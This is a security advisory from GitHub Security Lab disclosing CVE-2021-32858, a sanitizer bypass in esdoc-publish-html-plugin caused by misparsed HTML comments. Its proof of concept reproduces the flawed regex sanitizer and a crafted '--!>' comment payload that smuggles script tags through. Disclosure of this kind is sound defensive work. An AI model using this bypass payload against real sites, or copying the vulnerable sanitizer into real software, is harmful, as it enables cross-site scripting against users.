Coordinated Disclosure Timeline
- 2021-11-02: Sent report to h13i32maru@gmail.com
- 2022-03-25: Publishing as per our disclosure policy
Summary
The esdoc-publish-html-plugin
HTML sanitizer can be bypassed which may lead to cross-site scripting (XSS) issues.
Product
Tested Version
All (latest is 1.1.2).
Details
Issue: Bad HTML sanitizer in esdoc-publish-html-plugin/src/Builder/util.js
(GHSL-2021-1034
)
The HTML sanitizer is supposed to remove any potentially malicious HTML. For that purpose, it removes any tags or attributes that can execute javascript code.
The sanitizer preserves comments, but it misparses what a comment is. The sanitizer assumes that HTML comments look like <!-- comment -->
, however comments can also look like <!-- --!>
.
That can be used to trick the sanitizer into preserving arbitrary HTML content.
The relevant code is here.
Impact
This issue may lead to cross-site scripting
Resources
The vulnerable code is here.
The issue was found using CodeQL.
PoC:
npm install marked escape-html
- Run the below with
node
// ### Copy paste from `esdoc-publish-html-plugin/src/Builder/util.js` ###
const marked = require('marked');
const escape = require('escape-html');
/**
* convert markdown text to html.
* @param {string} text - markdown text.
* @param {boolean} [breaks=false] if true, break line. FYI gfm is not breaks.
* @return {string} html.
*/
function markdown(text, breaks = false) {
// original render does not support multi-byte anchor
const renderer = new marked.Renderer();
renderer.heading = function (text, level) {
const id = escapeURLHash(text);
return `<h${level} id=${id}>${text}</h${level}>`;
};
const availableTags = ['span', 'a', 'p', 'div', 'img', 'h1', 'h2', 'h3', 'h4', 'h5', 'br', 'hr', 'li', 'ul', 'ol', 'code', 'pre', 'details', 'summary', 'kbd'];
const availableAttributes = ['src', 'href', 'title', 'class', 'id', 'name', 'width', 'height', 'target'];
const compiled = marked(text, {
renderer: renderer,
gfm: true,
tables: true,
breaks: breaks,
sanitize: true,
sanitizer: (tag) =>{
if (tag.match(/<!--.*-->/)) {
return tag;
}
const tagName = tag.match(/^<\/?(\w+)/)[1];
if (!availableTags.includes(tagName)) {
return escape(tag);
}
const sanitizedTag = tag.replace(/([\w\-]+)=(["'].*?["'])/g, (_, attr, val)=>{
if (!availableAttributes.includes(attr)) return '';
/* eslint-disable no-script-url */
if (val.indexOf('javascript:') !== -1) return '';
return `${attr}=${val}`;
});
return sanitizedTag;
},
highlight: function(code) {
// return `<pre class="source-code"><code class="prettyprint">${escape(code)}</code></pre>`;
return `<code class="source-code prettyprint">${escape(code)}</code>`;
}
});
return compiled;
}
console.log("Foobar");
const str = "<!-- foobar --!> <script>alert(2)</script> --> <script>alert(3)</script>";
console.log(markdown(str));
// prints: <p><!-- foobar --!> <script>alert(2)</script> --> <script>alert(3)</script></p>
// this will show an alert if executed by a browser.
CVE
- CVE-2021-32858
Credit
This issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-1034
in any communication regarding this issue.